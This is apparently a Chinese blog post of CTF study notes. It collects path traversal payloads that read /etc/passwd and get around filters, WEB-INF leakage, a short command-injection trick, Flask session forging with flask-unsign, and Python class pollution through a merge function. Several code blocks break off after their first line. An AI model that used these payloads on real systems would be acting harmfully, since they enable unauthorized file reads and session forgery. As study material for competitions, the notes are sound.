比赛知识点学习
目录遍历漏洞(SQCTF-Through)
原理
某些使用不当参数包含的使用导致能都读取服务器上任意文件
比如在网页html
中使用<img src="/image?filename=1.png">
来加载image
下的1.png
文件
当攻击者读取任意文件可以使用filename=../../../../../etc/passwd
时就成为
/var/www/images/../../../../../etc/passwd |
在
Linux
中,../
表示返回上级目录;在Windows
中,../和..\
都表示返回上级目录在根目录使用
../
只会返回当前页面
攻击方法
如下题,那么file
参数就可能有目录遍历的风险
|
file=../../../../etc/passwd |
有些时候会对参数进行检测,比如过滤../等,那么这个时候我们可以尝试绝对路径
file=etc/passwd |
如果只是将../
替换为空,那么可以使用双写绕过。(SQCTF-Through)
file=....//....//....//....//etc/passwd |
有些时候也可以通过url编码来绕过服务器对.
或者/
的检测
. => %2e
/ => %2f
% => %25 (双重URL编码)
file=..%2f..%2f..%2f..%2fetc%2fpasswd |
有些时候会对参数进行判断是否为一个固定开头
file=/var/www/image/../../../../etc/passwd |
如果对文件后缀名进行限制,利用%00截断
file=../../../../etc/passwd%00.jpg |
如果只是对连续的../
进行过滤,那么就可以用./../
来进行绕过。(eg.2025XYCTF-Signin)
./
表示当前目录,添加进去不会造成任何影响
file=./.././.././.././../etc/passwd |
常见有用路径
/proc/self/environ
当前进程的环境变量/var/www/html
默认的 Web 根目录/etc/passwd
存储用户账户的基本信息
WEB-INF泄露(SQCTF-File_download)
原理
WEB-INF主要包含以下内容:
/WEB-INF/web.xml
:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。/WEB-INF/classes/
:包含所有的 Servlet 类和其他类文件,类文件所在的目录结构与他们的包名称匹配。/WEB-INF/lib/
:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件/WEB-INF/src/
:源码目录,按照包名结构放置各个java文件。/WEB-INF/database.properties
:数据库配置文件。
那么,在了解了web.xml这个文件内容之后,我们就可发现它里面所包含的信息就是敏感文件的分布情况。所以说只要我们有权限访问这个文件,我们就可以通过文件包含等手段进行敏感信息的获取。
攻击方法
以这个题为例,在扫目录发现WEB-INF
目录后就可以通过里面的/WEB-INF/web.xml
找到配置文件,进而找到可能的含有flag
的文件进行下一步分析
五字符rce(SQCTF-RceMe)
这个题限制了不能超过6个字符,如果是cat /f*
刚好超过,那这时就可以通过nl
这个编号并返回的命令来直接读取根目录下全部文件,则有了nl /f*
这里可以本地进行尝试,首先在根目录下新建一个flag.txt
尝试进行nl /f*
,可以看到只读取了flag
的文件内容,而对于其他目录,nl
是不能读取的
在比赛中直接一个nl /*
就打出来了,但是赛后看wp发现还有其他姿势,那就来学习一下
觉得重要就写到命令执行里面了,参考web入门-命令执行(已完结) | Yxing
session伪造(SQCTF-千查万别)
第一次遇到这个还是在玄武杯,首先要通过一个脚本解密session
然后获得json
数据
- 安装
pip install flask-unsign |
- 使用
解密
flask-unsign --decode --cookie 'eyJpc19hZG1pbiI6MCwidXNlcl9pZCI6ImFub255bW91cyJ9.ZyyyoQ.M_fymfx7RJybrgZwoZv_hp2wLe0' |
加密
flask-unsign --sign --cookie "json数据" --secret '密钥' |
如果只是解密的话也可以用脚本
#!/usr/bin/env python3 |
python原型链污染(HNCTF-奇怪的咖啡店)
漏洞代码分析
def merge(src, dst): #src含有需要合并的键值对,dst可以是字典或对象,接收src的属性 |
示例 1:合并两个字典
src = {'a': 1, 'b': {'x': 2}}
dst = {'b': {'y': 3}}
merge(src, dst) print(dst)
# 输出: {'b': {'x': 2, 'y': 3}, 'a': 1}
- dst 是字典,支持
__getitem__
。- 对于 k = ‘a’,dst 中没有 ‘a’,直接赋值 dst[‘a’] = 1。
- 对于 k = ‘b’,dst[‘b’] 存在且 v 是字典,递归合并 {‘x’: 2} 和 {‘y’: 3},结果为 {‘x’: 2, ‘y’: 3}。
示例 2:合并到自定义对象
class MyObj:
pass
src = {'a': 1, 'b': {'x': 2}}
dst = MyObj() dst.b = {'y': 3}
merge(src, dst) print(dst.a, dst.b)
# 输出: 1 {'x': 2, 'y': 3}
- dst 是对象,不支持
__getitem__
。- 对于 k = ‘a’,dst 没有属性 a,用 setattr 设置 dst.a = 1。
- 对于 k = ‘b’,dst 有属性 b 且 v 是字典,递归合并 {‘x’: 2} 和 {‘y’: 3}。
所以这里就可以通过控制src
中的值来控制dst
的值,从而达到污染目的
举例
class father: |
这里也可以在merge
处下断点来观察函数内部过程
首次进函数为merge({"__class__": {"__base__": {"secret": "world"}}}, instance)
,会因为由于instance
是一个对象跳到elif
,但是instance
中有__class__
且v
为字典而进入递归
第二次的函数相当于merge({"__base__": {"secret": "world"}}, son_b)
,再次进入递归
第三次的函数就相当于merge({"secret": "world"}, father)
,由于这里的v
不是一个字典了,所以直接进入else
,也就实现了修改father
类中的secret
值,实现污染
注意,这上面的for
循环过程还没完成,所以打断点单步调试时还会跳到for
循环来判断是否还有键值对,这里实际上只进行了三个merge
函数调用
获取目标类
这上面是有父类和子类的继承关系,除此之外,还有以下方法获取
__globals__
全局变量获取
在函数或类方法中,我们经常会看到
__init__
初始化方法,但是它作为类的一个内置方法,在没有被重写作为函数的时候,其数据类型会被当做装饰器,而装饰器的特点就是都具有一个全局属性__globals__
属性,__globals__
属性是函数对象的一个属性,用于访问该函数所在模块的全局命名空间。具体来说就是,__globals__
属性返回一个字典,里面包含了函数定义时所在模块的全局变量。
a=1 |
def merge(src, dst): |
import
加载获取
##demo.py |
import demo |
sys获取
import sys |
loader获取
loader.__init__.__globals__['sys']
来获取sys
模块后同上
杂
md4绕过
0e001233333333333334557778889
反混淆马php
|
|